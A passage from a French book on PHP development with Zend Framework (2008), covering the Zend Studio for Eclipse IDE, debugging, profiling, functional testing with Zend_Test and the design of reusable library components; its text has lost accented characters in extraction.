Mise en uvre dun service REST (service allg par rapport SOAP ou XML-RPC). Moteur de recherche. Notamment, Zend_Search_Lucene est un moteur de recherche textuel trs complet. Contient Zend_Server_Reflection, un composant objet permettant de faire de la Rflexion. Composants facilitant laccs des services (Flickr, Yahoo, Amazon, etc.). Gestion de sessions, avec possibilit de mettre en uvre des espaces de noms. Permet de crer des clients et des serveurs SOAP. Implmentation de tests unitaires, avec notamment PHPUnit (Zend_Test_PHPUnit).
Zend_Text_Figlet est un gadget qui permet de gnrer des textes ASCII Art.

Implmentation du multilinguisme avec possibilit davoir plusieurs supports (gettext, TMX, etc.). Tests et oprations sur les URI. Bibliothque de validateurs pour la validation de donnes. Pour lire la version du Zend Framework ou la comparer une version explicite. Moteur de templates du Zend Framework. Cration de clients et de serveurs XML-RPC.

Pour finir, rappelons les grandes lignes caractrisant les composants du Zend Framework : ils sont gnriques (ils sadaptent un maximum de situations) ; ils offrent la possibilit dajouter des extensions et sont modifiables simplement (nombreuses interfaces et classes abstraites) ; ils sont testables (et tests), btis sur des design patterns et des principes du gnie logiciel largement adopts ; on peut ventuellement les coupler : les composants sutilisent tous indpendamment, mais proposent aussi des options de couplage intressantes.

En rsum
Nous venons de passer en revue la manire dont nous avons employ quelques autres composants du Zend Framework. Les intgrer dans le modle MVC est gnralement une question darchitecture et de rutilisabilit, alors que lutilisation des composants eux-mmes peut tre effectue directement ou en les drivant.

258

Groupe Eyrolles, 2008

chapitre

14

Groupe Eyrolles, 2008

Outils et mthodologie

SOMMAIRE

B Bien organiser son application

Creuser avec une pelle ou avec un bulldozer na pas le mme rendement. Bien que lobjectif du travail soit le mme, les outils, eux, ne le sont pas. En dveloppement, mme si cela est certes moins dmonstratif, cest la mme chose : le choix des outils et des mthodes est primordial pour une productivit maximale.

B Optimiser le dveloppement
avec des outils adapts

B Prendre en main un IDE


COMPOSANTS

B Zend_Test
MOTS-CLS

B architecture B diteur B dbogage B profiling B gestion de projet B testabilit

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Nous aborderons dans ce chapitre les outils et les mthodes efficaces que toute quipe de dveloppement devrait connatre pour dvelopper rapidement et de faon fiable. Nous nous intresserons en particulier aux spcificits de Zend Framework en la matire, en prsentant lditeur Zend Studio pour Eclipse, avec son dbogueur, un profileur pour analyser les performances et toute une mthodologie permettant de tester lapplication.

Lditeur : Zend Studio pour Eclipse


De nombreux diteurs PHP existent sur le march. Certains sont gratuits, dautres libres, et quelques-uns propritaires. Lors du dveloppement de notre application, nous avons utilis Zend Studio pour Eclipse (ZSFE).

Un environnement intgr pour optimiser ses dveloppements


TLCHARGER Zend Studio for Eclipse
ZSFE requiert une licence dutilisation, mais vous pouvez tlcharger une version dvaluiation gratuite valable pendant 30 jours. B http://www.zend.com/fr/products/studio/

Zend Studio pour Eclipse est un IDE (Integrated Development Environment) ou EDI, en franais (environnement de dveloppement intgr). Il regroupe un diteur avanc (proposant une autocompltion du code), un dbogueur, un profileur, des assistants et beaucoup dautres fonctionnalits. Compatible avec Windows, Linux et Mac OS, bas sur le clbre IDE Eclipse et dvelopp par Zend, il requiert une licence dutilisation. ZSFE offre quasi tout ce que propose Eclipse PDT, son alternative libre et gratuite. Cependant, il est ingalable concernant un point : lintgration de la gestion de projets Zend Framework, et cest pourquoi nous le prsentons ici. Il possde aussi des connecteurs vers PHPUnit. Un aperu est disponible figure 14-1. Nous nallons pas dtailler comment utiliser Eclipse, car un ouvrage complet pourrait tre ddi cette tche. En revanche, nous allons voir comment lutiliser afin de tirer le meilleur parti de ses possibilits dans le cadre de lexploitation dun projet Zend Framework.

ALTERNATIVE Eclipse PDT


En libre et gratuit, vous trouverez lIDE Eclipse PDT (PHP Development Tool), tlchargeable ladresse ci-dessous : B http://www.zend.com/fr/community/pdt

Intgrer Zend Framework dans lIDE


ZSFE propose le dveloppement de projets avec Zend Framework, de manire assiste. Pour cela, il met disposition : une ou plusieurs versions du Zend Framework pour lautocompltion ; une perspective Eclipse ddie ; un projet dexemple hello world Zend Framework ; 262
Groupe Eyrolles, 2008

Figure 141

Vue globale de Zend Studio For Eclipse

des templates de code tout prts concernant les composants de Zend Framework ; un formateur de code aux conventions du framework ; lintgration de PHPUnit et Zend_Test. Il est ainsi possible de crer un nouveau projet Zend Framework, comme le montre la figure 14-2. Mme si la version de Zend Framework en date est postrieure la version propose par ZSFE, il est toujours possible de ruser. En effet, les mises jour de ZSFE ne suivent pas en permanence celles de Zend Framework, et nous vous conseillons ainsi dintgrer votre propre version de Zend Framework dans lIDE, plutt que de vous reposer sur la version interne, dont les mises jour sont rares.

Groupe Eyrolles, 2008

263

14 Outils et mthodologie

Zend Framework - Bien dvelopper en PHP

Figure 142

Cration dun nouveau projet Zend Framework

CONSEIL Zend Framework et ZSFE


Ajouter une variable son projet nest utile que pour lautocompltion. Votre application va bien entendu bnficier de sa version de Zend Framework, gnralement prsente dans linclude_path de PHP sur le serveur. Ainsi, nous vous conseillons dutiliser cette version de Zend Framework dans ZSFE afin dtre parfaitement synchronis.

Pour cela, il convient de crer une variable ZendFramework et de la faire pointer vers un dossier possdant une installation frache. Idalement, une version du framework, relie son dpt Subversion, permet de bnficier de la compltion sur la version que vous utilisez (voir figure 14-3).

Figure 143

Cration dune variable ZF avec un chemin personnalis

264

Groupe Eyrolles, 2008

Une fois un projet Zend Framework cr (File>New>Zend Framework Project) et votre nouvelle variable ajoute, vous avez accs une perspective nomme juste titre Zend Framework ainsi qu un menu de cration de composants, comme illustr sur les figures 14-4 et 14-5.

Figure 144

Figure 145

Perspective Zend Framework

Cration de composants Zend Framework

Personnaliser ses composants


Alors que la perspective Zend Framework napporte en elle-mme pas grand-chose, la cration de composants ddis est, elle, relativement intressante. Dautant plus que chaque composant va proposer un modle, appel template de code, entirement personnalisable. Cette fonctionnalit est pratique, car elle permet de mcher une partie du travail rptitif. ZSFE est un projet encore un peu jeune, mais Zend sefforce de le faire voluer. Cest ainsi que la version 6.01 a fait apparatre les templates Zend_View_Helpers, la version 6.1 les templates Zend_Controller_Action et Zend_Test. Il nest alors pas difficile de supposer qu terme, tous les composants seront intgrs, comme ceux servant par exemple crer un nouveau plugin MVC, ou encore crer un module pour services web (ceci existe dj dans ZSFE, mais pas pour Zend Framework).

Groupe Eyrolles, 2008

265

14 Outils et mthodologie

Zend Framework - Bien dvelopper en PHP

Un code source de meilleure qualit grce au formateur


Le formateur de code est galement commode, car il va permettre de crer un code source clair, lisible et plus facile maintenir. En plus de cela, toute configuration Eclipse (donc toute configuration concernant le formateur, les templates, etc.) peut tre exporte en XML et donc centralise pour tous les dveloppeurs dun mme projet. Parmi les formateurs existant par dfaut, on trouve celui concernant les conventions Zend Framework (figure 14-6), lui aussi pleinement personnalisable.

Figure 146

Les rgles de formatage de code

Le dbogueur
voluer dans un projet Zend Framework est facilit par la prsence dun dbogueur. un moment o un autre, un effet de bord peut survenir et seul le dbogueur pourra vous le montrer. Son utilisation permet de : suivre pas pas chaque instruction PHP, jusque dans les sources de Zend Framework ; de cette faon, suivre pas pas le cheminement des instructions, et donc savoir o passe le flux, et o il ne passe pas (dans quelles boucles, quels fichiers...) ;

266

Groupe Eyrolles, 2008

connatre ltat de nimporte quelle variable PHP nimporte quel moment ; matriser finement le fonctionnement de Zend Framework, et donc faire de moins en moins derreurs ; grer lenvoi dun formulaire, et notamment la mthode POST. En revanche, attention aux fausses ides, le dbogueur ne permet pas de : corriger les bogues par magie ; dtecter les bogues : il faut faire un effort de recherche. ZSFE possde, ds son installation, tous les connecteurs ncessaires pour rpondre Zend Debugger, qui est la partie serveur du dbogage. Il sagit dune extension PHP quil faut installer et qui va permettre le dbogage. Une fois la version de Zend Debugger correspondant votre systme dexploitation et votre version de PHP tlcharge, modifiez votre fichier php.ini de manire ajouter les lignes suivantes (exemple pour un poste de dveloppement Windows) : zend_extension_ts=path/to/ZendDebugger.dll zend_debugger.allow_hosts=127.0.0.1 zend_debugger.expose_remotely=always La manire la plus simple dutiliser le dbogueur est de passer par lextension de navigateur web que ZSFE vous propose dinstaller lors de sa propre installation. Celle-ci permet de lancer une session de dbogage depuis le navigateur en un seul clic, tout en conservant le contexte de la session HTTP : donnes POST, cookies et sessions, informations dauthentification HTTP, etc. La figure 14-7 reprsente la barre doutils ZSFE dans le navigateur Firefox.
Figure 147

ALTERNATIVE Solutions de dbogage


Zend Studio pour Eclipse et Zend Debugger ne sont pas les seules solutions de dbogage pour PHP. Il en existe dautres, telles que Xdebug, Advanced PHP Debugger (APD) et les nombreux diteurs compatibles (Eclipse PDT, etc.).

TLCHARGER Zend Debugger


Vous pouvez tlcharger Zend Debugger ladresse suivante : B http://downloads.zend.com/pdt/serverdebugger/.

REMARQUE Windows et les threads


Sous Windows, la ligne zend_extension devient zend_extension_ts. ts signifie thread safe. Il est fort probable que votre installation soit scurise et fiable dans le cadre dun dveloppement multithread (linstruction phpinfo() vous lindiquera), ce qui, sous Windows, est indispensable.

ALLER PLUS LOIN Comprendre Zend Framework


Les dveloppeurs les plus curieux pourront analyser de manire trs fine le fonctionnement de Zend Framework en lanant un dbogage et en suivant pas pas, au travers du framework, le cheminement de la requte. Cest utile et enrichissant, mais ncessite une bonne matrise de PHP. Un mcanicien nest capable de rparer le moteur dune voiture en profondeur que parce quil sait parfaitement comment il fonctionne : nous vous conseillons vivement de vous pencher sur le fonctionnement interne de Zend Framework.

Barre Zend Studio dans le navigateur

Cette barre possde un bouton Debug qui permet de lancer lditeur sur la page demande en commenant une session de dbogage. La figure 14-8 montre la perspective de dbogage de ZSFE.

Groupe Eyrolles, 2008

267

14 Outils et mthodologie

Zend Framework - Bien dvelopper en PHP

Figure 148

Perspective de dbogage dans ZSFE

Analyse des performances avec le profileur


Le profileur permet danalyser le temps de chargement de la page en indiquant prcisment quels ont t les traitements PHP les plus longs sur une requte HTTP donne. La figure 14-9 montre un rsultat de statistiques globales sur lappel dune page. Ainsi, le profileur permet dapporter des rponses des questions telles que : Quels sont les objets et les mthodes appels lors du traitement de cette requte ? Quelles ont t les lignes de code sur lesquelles est pass le programme ? Quelles sont les mthodes les plus lentes ? Quelles ont t les erreurs PHP (mme les caches) lors du traitement de cette requte ?

268

Groupe Eyrolles, 2008

Figure 149

Statistiques gnrales dun profil de page

Le profileur gnre des statistiques, mais il faut videmment garder lesprit quil reprsente un outil parmi dautres pour lanalyse et loptimisation des performances. En effet, il ne sappuie que sur PHP, or lamlioration des performances gnrales dune application dpend de nombreux autres facteurs : Mon SGBD est-il performant ? Quelle est la qualit du lien entre mon SGBD et PHP ? Mon serveur HTTP est-il correctement configur ? Le cache HTTP est-il bien gr ? Quelle est la qualit globale du rseau ? Quelles sont les caractristiques du (des) serveur(s) hbergeant lapplication ? La liste est encore bien longue, et sans pour autant ngliger les performances de PHP, changer des guillemets doubles en guillemets simples est une optimisation tire par les cheveux. Une bonne gestion des performances passe avant tout par une gestion efficace des algorithmes et des goulets potentiels tels que les appels la base de donnes. Vous trouverez de plus amples informations sur les performances au chapitre 10.

Groupe Eyrolles, 2008

269

14 Outils et mthodologie

Zend Framework - Bien dvelopper en PHP

Tests fonctionnels avec Zend_Test


Zend_Test, pour quoi faire ?
T Tests fonctionnels

Les tests fonctionnels visent tester une fonctionnalit, cest--dire un enchanement de mthodes simples (chacune cense tre teste unitairement), afin de vrifier le bon cheminement du flux dinformations et de lalgorithme gnral.

Lapproche oriente objet et notamment MVC offrent un avantage incomparable : la possibilit de tester unitairement et surtout fonctionnellement lapplication. Nous supposons ce stade que vous connaissez la partie MVC de Zend Framework. Si ce nest pas le cas, les chapitres 6 et 7 sauront rpondre vos attentes. est un composant ddi la cration de tests pour le modle MVC de Zend Framework. tant donn quil sappuie sur PHPUnit, nous vous conseillons vivement de lire lannexe H afin de vous familiariser avec cet outil.
Zend_Test

permet de tester lenchanement des actions du point de vue MVC. Afin de complter pleinement les tests fonctionnels, nous vous invitons vous pencher sur un outil qui excelle dans ce domaine, SeleniumServer, et ses extensions clientes prsentes notamment dans PHPUnit.
Zend_Test

Figure 1410

Diagramme de classes simplifi du composant Zend_Test

270

Groupe Eyrolles, 2008

Un schma tant plus vocateur que mille lignes, voyons plutt le diagramme de classes de Zend_Test sur la figure 14-10. Ce diagramme est complter par toutes les mthodes de tests inverses par exemple, assertModule() est lie assertNotModule() que nous navons pu reprsenter. Comme on peut le voir sur le schma de la figure 14-10, Zend_Test est destin tester non seulement le parcours dune requte au milieu du modle complexe MVC, mais aussi le contenu de la rponse en utilisant le DOM (Document Object Model) et Xpath.

Prise en main de Zend_Test


Templates Zend Studio For Eclipse
ZSFE intgre un template tout fait pour crer une classe de tests bass sur un contrleur prcis. La figure 14-11 montre un exemple. Nous avons cependant choisi dcrire nous-mmes nos tests dans une seule classe, afin de tester quelques fonctionnalits dans le cadre de lcriture de cet ouvrage. Une documentation officielle pour Zend_Test existe, nous vous suggrons de la lire avec attention. Ici, nous la complterons en expliquant le fonctionnement de ce composant au travers, bien entendu, dun exemple tir des tests de notre application.

Figure 1411

Cration dun nouveau test de contrleur avec lassistant ZSFE

Groupe Eyrolles, 2008

271

14 Outils et mthodologie

Zend Framework - Bien dvelopper en PHP

Gestion du bootstrap
Pour commencer, Zend_Test doit charger obligatoirement un bootstrap. Celui-ci initialise le contexte du test. Il ressemble beaucoup au bootstrap original, si ce nest quil ne doit en aucun cas lancer un processus de distribution et de traitement de la requte au niveau du contrleur frontal. Il est trs important de noter que Zend_Test sappuie sur PHPUnit, et quainsi chaque test est lanc dans un contexte vierge et non perturb par les tests prcdents, mme sous MVC. Par ailleurs, les tests sont effectus dans un environnement CLI (Command Line Interpreter), ce qui entrane des consquences trs importantes : $_SERVER manquera dinformations par rapport au mode de fonctionnement HTTP. Les objets de rponse et de requte sont remplacs par des objets prvus pour les tests hors HTTP : Zend_Controller_Request_Http devient Zend_Controller_Request_HttpTestCase et idem pour la rponse. Il ne faut donc pas crer des objets personnaliss pour les injecter dans le contrleur frontal, car ils seront de toute faon crass par ceux du test. Par dfinition, la session nexiste pas (voir le chapitre 8). Elle sera simule et rinitialise entre chaque test : faites-donc attention aux enchanements. Enfin, toute notion de redirection est abstraite. Les tests ntant pas excuts dans un contexte HTTP, une redirection sera prsente dans lobjet de rponse, mais videmment non suivie . il convient dtendre qui elle-mme tend PHPUnit_TestCase, la classe standard de PHPUnit fournissant tout ce quon lui connat. Il faut alors spcifier quel sera le bootstrap charger.
Zend_Test_PHPUnit_ControllerTestCase,

Pour

crer

un

test

Zend_Test,

On peut tout fait imaginer un chafaudage de bootstraps qui chargent chacun leur tour une fonctionnalit diffrente (un plugin, un espace de noms de session, etc.). Cependant, nous avons opt pour un bootstrap unique et trs riche : il reprend presque toutes les fonctionnalits du bootstrap original, mais sadapte aux tests et notamment lenvironnement CLI (lignes de commandes), en compltant le tableau $_SERVER :
tests/Bootstrap.php
<?php $_SERVER['SERVER_NAME'] = 'php';

272

Groupe Eyrolles, 2008

Dautre part, nous avons dsactiv tout ce qui concerne le cache (Zend_Cache) afin de ne pas perturber les tests, ce qui engendrerait une difficult supplmentaire (mme si le cache est testable). Le plugin antivol de session Zfbook_Controller_Plugins_Session fait tellement bien son travail quil va perturber les tests : nous lavons supprim du bootstrap de tests. En effet, celui-ci est bas sur un ventuel changement de signature de navigateur entre deux requtes et utilise la session, qui est non seulement simule, mais aussi remise zro entre chaque test. Commenons tout de suite : nous avons un seul et unique fichier de tests, bien entendu en environnement rel. Lorganisation des tests est indispensable.
tests/ControllerTest.php
class ControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public $bootstrap = './bootstrap.php';

Le fait de spcifier la proprit public $bootstrap avec un nom de fichier aura pour effet dinclure ce fichier dans les tests, mais attention, il sera inclus dans le contexte dune mthode. Toutes les variables que vous dfinirez dedans ne seront donc pas globales, et ainsi non accessibles dans vos diffrents tests. Qu cela ne tienne, puisque le contrleur frontal est un singleton, il est le mme en tout point du script, et nos tests utiliseront bien le contrleur frontal dfini dans notre fichier bootstrap.php (dont le code, similaire au bootstrap rel, nest pas divulgu ici mais prsent dans les sources de notre application). Il aurait t possible de dfinir le bootstrap de cette manire :
Autre dfinition du bootstrap de test
class ControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { protected function setUp() { $this->bootstrap = new bootstrap(); // ou encore // $this->bootstrap = array($this, 'boot'); parent::setUp(); }

Groupe Eyrolles, 2008

273

14 Outils et mthodologie

Zend Framework - Bien dvelopper en PHP

Ainsi, le bootstrap peut tre une classe part, ou encore une mthode de la classe en cours, ici appele boot. Attention, nappelez pas cette mthode bootstrap car une mthode nomme ainsi existe dj en interne. Il est temps dcrire notre premier test. Le processus global est relativement simple : 1 accder au contexte et le configurer : objets de requte, aides diverses, plugins, etc. ; 2 lancer le processus de distribution via la mthode dispatch() ; 3 utiliser des assertions pour faire des vrifications ; 4 au besoin, appeler reset() pour remettre le contexte zro et redistribuer derrire.

crire des tests


Suite de tests/ControllerTest.php
public function testRoutePerso() { $this->dispatch('/lister-les-reservations-page-1?format=xml'); $this->assertHeaderContains('content-type', 'application/xml'); $this->assertRoute('reservations'); }

Il est inutile ici de commenter, tant les mthodes parlent delles-mmes. Simplement, dans ce cas, nous testons notre route spciale, et par la mme occasion, nous testons aussi le contextSwitch sur un contexte XML.
Test de redirection
public function testAccesPageRestreintRedirige() { $this->dispatch('/reservation/edit/'); $this->assertRedirectRegex('#unauthorized#'); } assertRedirectRegex() vrifie que la rponse est bien une redirection et que lURL de redirection contient bien le mot unauthorized (ou toute autre expression rgulire, aussi complexe soit-elle).

Test de login sur le formulaire


public function testLoginKo() { $this->request->setMethod('POST') ->setPost(array( 'login' => 'julien.pauli@anaska.com', 'password' => 'mauvais-password' ));

274

Groupe Eyrolles, 2008

$this->dispatch('/login/login/'); $this->assertResponseCode(303); $this->assertRedirect(); $this->assertFalse(Zend_Auth::getInstance()->hasIdentity()); $this->assertFalse(Zend_Session::namespaceIsset('Zend_Auth')); }

Ce test montre la puissance de Zend_Test. Il nous donne accs via $this ->request la requte (qui, pour mmoire, est un objet spcial ddi aux tests) : nous y injectons nos paramtres POST puis lanons login/login/. Les identifiants tant faux, nous nous attendons une redirection avec un code 303 et ce quil ny ait pas didentifiant en session. Bien entendu, la base de donnes doit tre disponible, mme sil reste possible de la simuler avec PHPUnit. Le test suivant (que nous ne dveloppons pas ici) vrifie exactement le contraire en spcifiant, cette fois-ci, un bon couple identifiant/mot de passe : nous devrions alors tre redirigs et il devrait y avoir une identit en session. Il apparat ds lors que lapplication va ncessiter dtre teste lorsquun utilisateur est identifi. Il faut donc crer une mthode qui permette dinitialiser un contexte dans lapplication, de manire ce quelle croie quune personne est identifie. Ceci est effectu via la mthode prive _logAdmin().
La mthode _logAdmin(), qui fait croire lapplication quun admin est logu
private function _logAdmin() { $admin = new stdClass(); $admin->firstname = 'julien'; Zend_Auth::getInstance()->getStorage()->write($admin); Zend_Registry::get('session')->acl->allow('user'); }

RAPPEL Nous tendons PHPUnit


La classe Zend_Test_PHPUnit_ ControllerTestCase que nous tendons, tend elle-mme PHPUnit_Framework_ TestCase. Toutes les mthodes dassertion classiques telles que assertTrue() sont donc mises notre disposition.

Remarquez comme cette mthode est la fois lgante et simple. Nous excutons la mme chose que ce que fait le processus didentification en interne, mais manuellement. Nous injectons dans la session de Zend_Auth un objet similaire celui utilis en temps normal, puis nous cherchons les ACL dans le registre (enregistres en bootstrap de test), et enfin, nous autorisons lutilisateur tout faire. Ds lors que la mthode _logAdmin() est prsente, nous pouvons lutiliser pour poursuivre nos tests :

RAPPEL ACL et Auth


Zend_Auth, Zend_Session et Zend_Acl sont traits en dtail au chapitre 8.

Groupe Eyrolles, 2008

275

14 Outils et mthodologie

Zend Framework - Bien dvelopper en PHP

Suite de tests/ControllerTest.php
public function testAccesRestreintQuandLoggueFonctionne() { $this->_logAdmin(); $this->dispatch('/reservation/edit/'); $this->assertNotRedirect(); } public function testEditionFaitApparaitreFormulaireDedition() { $this->_logAdmin(); $this->dispatch('/reservation/edit/'); $this->assertQuery("div#reservationform"); } public function testLogout() { $this->dispatch('/login/logout/'); $this->assertRedirect(); }

Remarquez la mthode testEditionFaitApparaitreFormulaireDedition(). Lassertion utilise lobjet DOM de la page rsultante pour vrifier quun lment div avec un id reservationform est bien prsent dans la page. Mme si nous sommes loin dtre exemplaires sur ce point, un code source bien crit et de prsentation valide nest pas de moindre importance. Car les assertions DOM peuvent tre compltes dassertions Xpath, et il devient alors possible de presque tout tester dans le code source XHTML de la rponse. Le lancement des tests se fait de manire tout fait classique par PHPUnit :
Lancement des tests
> phpunit ControllerTest

Faut-il tout tester ?


Certains diront que dvelopper des tests unitaires ou fonctionnels consomme trop de temps, tandis que dautres considreront que les tests sont indispensables. Arrtons l les considrations extrmes ! Les tests sont un outil de qualit au mme titre que la documentation : il en faut, certes, mais sans forcment en abuser. Les dissertations sur ce sujet peuvent donner lieu des romans en plusieurs tomes. Mais comme nous sommes des gens presss par les contraintes de nos projets, nous nous contenterons ici de rsumer en 276
Groupe Eyrolles, 2008

rappelant les deux raisons fondamentales qui font quune fonctionnalit doit tre teste : il sagit dun algorithme critique qui est utilis souvent et se situe au cur de votre application : prenez alors 10 minutes pour faire un test ; il sagit dun bogue qui ma fait perdre deux heures en rparations : 10 minutes de plus pour dvelopper un test ne vous pnaliseront pas tant que a. Pour aller plus loin dans la mthodologie lie aux tests unitaires, il existe une multitude de rflexions et travaux sur ce sujet travers les mthodes agiles et les diffrents types de tests (tests de rgression, tests unitaires, tests de recette, etc.). Nous vous laissons le loisir daller plus loin par vos propres moyens, ce livre ayant avant tout pour objet le Zend Framework.

EN SAVOIR PLUS Mthodes agiles


R V. Messager Rota, Gestion de projet

Vers les mthodes agiles, Eyrolles, 2007


R J.-L. Bnard, L. Bossavit, R. Mdina, D.

Williams, Gestion de projet eXtreme Programming, Eyrolles, 2002

En rsum
Les tests de rgression sont un moyen efficace de sassurer que les rouages dune application fonctionnent malgr les volutions, les changements de version (du framework ou de PHP) ou encore les spcificits des environnements dexcution (Windows, Unix...). Il permettent galement de gagner du temps sur tous les effets de bord dtects lavance par ce mcanisme. Grce PHPUnit coupl Zend_Test, le dveloppeur Zend Framework dispose de tout ce dont il a besoin pour dvelopper des tests adapts son application.

Groupe Eyrolles, 2008

277

14 Outils et mthodologie

chapitre

15

Groupe Eyrolles, 2008

Utilisation avance des composants

SOMMAIRE

B Crer un composant

Savoir crer ses propres composants et utiliser intelligemment ceux des autres est la cl de la prennit. Tout systme dinformation digne de ce nom est compos de classes, de modules et de paquetages embots entre eux, formant un tout cohrent et exploitable.

B Ajouter des fonctionnalits


un composant existant

B Modifier le comportement
dun composant MOTS-CLS

B classe B interface B surcharge B dcoration B POO B bibliothque B module B rutilisable B gnrique

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Lorganisation des composants de Zend Framework est parfaite pour mettre en place sa propre bibliothque de composants. Elle incite mettre en uvre une architecture intuitive et facile utiliser. Mais rien ne peut remplacer le bon sens et les connaissances du dveloppeur de composant. Ce chapitre est une introduction la cration de composants rutilisables par vos propres moyens. Larchitecture de Zend Framework pouvant tre utilise pour mettre en place sa propre bibliothque de composants, les composants utilisateurs peuvent tre indpendants ou non de composants Zend, ou non Zend. Cette souplesse permet dentretenir un jeu de fonctionnalits standards et rutilisables. Il est important de comprendre quels sont le rle et les caractristiques des composants qui sont stocks dans library. Sans cela, tout lintrt de lorganisation des sources propose par Zend Framework peut se rvler inutile. Dans ce chapitre, vous apprendrez par la thorie et par la pratique comment organiser et dvelopper vos propres composants.

MVC et les bibliothques


Dans un projet Zend Framework, les bibliothques sont situes dans le rpertoire library tandis que la partie MVC se trouve dans application. Il est essentiel de savoir juger ce que lon peut mettre dans chacune de ces parties. Voici la cl dune telle dcision : Les bibliothques sont des composants rutilisables. Cela signifie quon peut potentiellement les rutiliser dans plusieurs applications. Lensemble de celles-ci constitue un vivier de fonctionnalits que lon peut adapter aux spcificits de chaque application. En dautres termes, tout ce qui est spcifique une application donne ne se trouve pas dans le rpertoire library. La partie MVC, quant elle, concerne essentiellement ce qui est spcifique lapplication : la logique de navigation, le design, laccs aux donnes. Les composants qui constituent cette partie peuvent tre plus ou moins rutilisables entre les applications. Il est conseill de les organiser par modules, responsabilits et paquetages pour privilgier la rutilisabilit.

280

Groupe Eyrolles, 2008

Crer un composant utilisateur


Imaginons que nous souhaitions disposer dune fonctionnalit potentiellement rutilisable, qui nexiste pas encore dans les composants de Zend Framework. Dans ce cas, le bon rflexe est de se pencher sur la ralisation dun composant utilisateur. Avant de commencer, il est important davoir en tte quelques rgles fondamentales pour viter les mauvaises surprises.

Rgles fondamentales et conventions


Mis part les conventions disponibles dans la documentation officielle de Zend Framework, il y a peu de rgles connatre, mais celles-ci sont trs importantes. Connatre ces rgles et les respecter vous permettra de garantir lintgrit et la durabilit de vos dveloppements. Tous vos composants utilisateurs doivent tre stocks dans le rpertoire library/<votre_prefixe>, <votre_prefixe> reprsentant une entreprise, une association, une personne... Aucune modification nest permise dans le rpertoire library/Zend, celui-ci appartenant au framework et devant pouvoir tre mis jour tout moment. Les composants sont tous des classes, et il ny a pas de fonction orpheline, ni de code en dehors des classes. Les rgles de nommage sont prcises et disponibles dans la documentation officielle du framework. Le nommage des classes, en particulier, est important : il doit correspondre la hirarchie des rpertoires. Un fichier ne doit comporter quune et une seule classe. Ces rgles nincluent pas les conventions de dveloppement de Zend Framework. Le respect de celles-ci est nanmoins trs important. Voici quelques exemples de conventions Zend Framework respecter : les noms des dossiers doivent comporter des caractres alphanumriques et respecter la syntaxe CamelCase ; les noms de classes doivent correspondre au chemin. Par exemple, une classe situe dans library/Zfbook/Db/Exception.php sappellera obligatoirement Zfbook_Db_Exception ; la syntaxe des noms de mthodes et de variables doit tre au format CamelCase et commencer par une minuscule ; lindentation se fait au moyen de quatre espaces ; Vous trouverez toutes les rgles de nommage de Zend Framework lURL suivante :
http://framework.zend.com/wiki/display/ZFDEV/ZF+Coding+Standards+%28RC%29. Groupe Eyrolles, 2008

REMARQUE Composant et paquetage


Dun point de vue vocabulaire, un composant peut tre assimil la notion de paquetage, prsente notament en Java. Tout simplement, il sagit dun regroupement de classes effectuant une mme action logique, et dont les dpendances, internes ou externes, sont connues et matrises.

281

15 Utilisation avance des composants

Zend Framework - Bien dvelopper en PHP

Principe et organisation
La figure 15-1 illustre lorganisation, et en particulier les niveaux de rpertoires respecter dans le dossier library contenant les composants. Le niveau 0 (RACINE) contient le rpertoire library ainsi que, dans notre application, les rpertoires application et html. Le premier niveau (AUTEUR) est un nom de socit, dorganisation ou dauteur : tous les noms de classes sous-jacentes commenceront par ce mot cl ! Ici, il sagit de Zfbook, de la mme manire que ce sera Zend pour les composants officiels du Zend Framework.

Figure 151

Composants rutilisables : les niveaux de rpertoires

PRCISION Rgles des composants


Toutes les rgles de nommage, dorganisation et dcriture du code nexistent qu titre indicatif. Le Zend Framework utilise celles que nous vous prsentons dans ce chapitre, et vous pouvez tout fait utiliser vos propres rgles, partir du moment o elles sont tablies, claires et admises. ce sujet, la classe Zend_Loader_PluginLoader peut se rvler trs utile.

Le contenu du rpertoire Zfbook est ddi aux fichiers et dossiers racines des composants (COMPOSANT). Ce niveau hberge les classes principales des composants (exemple : Convert.php pour Zfbook_Convert) et les rpertoires contenant les sous-classes des composants. Les sous-classes (SUBCLASSES) appartiennent au composant sousjacent et contiennent le code source du composant.

Exemple
Imaginons que nous souhaitions effectuer de multiples conversions partir de donnes complexes, telles que des collections et des tableaux. Nous nirons pas jusqu dvelopper un composant toff, mais nous raliserons au moins lessentiel, car une fois que la logique est saisie, le remplissage est intuitif. 282
Groupe Eyrolles, 2008

Modlisation minimale
Le premier travail consiste effectuer une modlisation minimale. Nous allons penser la manire dont sera organis le code pour remplir les objectifs fixs, que voici : permettre la conversion dun tableau en chane de caractres CSV ; avoir une architecture extensible qui puisse accueillir dautres types de conversions ; utiliser ces fonctionnalits partir de la classe principale, par commodit. Dun point de vue technique, voici ce que nous pouvons en dduire : la classe principale, que nous appellerons Zfbook_Convert, se comportera comme une Fabrique (factory) ; pour chaque type de conversion, une classe de support de format sera cre, de type Zfbook_Convert_<nom_du_format> ; chaque classe de conversion gnrera des exceptions personnalises en cas de problme ; une interface sera mise en place pour fixer le squelette des classes de support des formats.

MOTIF DE CONCEPTION Fabrique


La Fabrique est un motif de conception, ou design pattern. Ces notions objet avances sont traites en annexe D.

Figure 152

Organisation du composant Zfbook_Convert

Sur la figure 15-2 apparaissent les dossiers et fichiers crer pour mettre en place le composant. Leur nombre peut paratre imposant pour une simple fonction de conversion, mais rappelons-nous que ce composant est amen grossir avec la prise en compte dautres formats.

Groupe Eyrolles, 2008

283

15 Utilisation avance des composants

Zend Framework - Bien dvelopper en PHP

Quels sont ces fichiers et en quoi nous sont-ils utiles ? Zfbook/Convert.php contient la classe racine, qui se comporte comme une fabrique et permet donc laccs lensemble des fonctionnalits des classes sous-jacentes. Zfbook/Convert/Csv.php contient les algorithmes de conversion au format CSV. La classe Zfbook_Convert_Csv implmente linterface Zfbook_Convert_Interface. Zfbook/Convert/Exception.php et Zfbook/Convert/Csv/ Exception.php contiennent les classes dexception personnalises, lies au composant, qui sont utilises en cas derreur lexcution. Zfbook/Convert/Interface.php contient une interface qui oblige les classes de support avoir des mthodes de conversion homognes.
Figure 153 Diagramme de classes

du composant Zfbook_Convert

Enfin, le schma UML (diagramme de classes) de notre composant est illustr sur la figure 15-3.

Implmentation du composant
Une fois larchitecture des fichiers et des dossiers mise en place, nous pouvons sans plus tarder passer limplmentation. Dans un premier temps, voici la manire dont nous souhaiterions utiliser le composant :
Fichier html/examples/zfbook_convert.php : conversion dun tableau en CSV
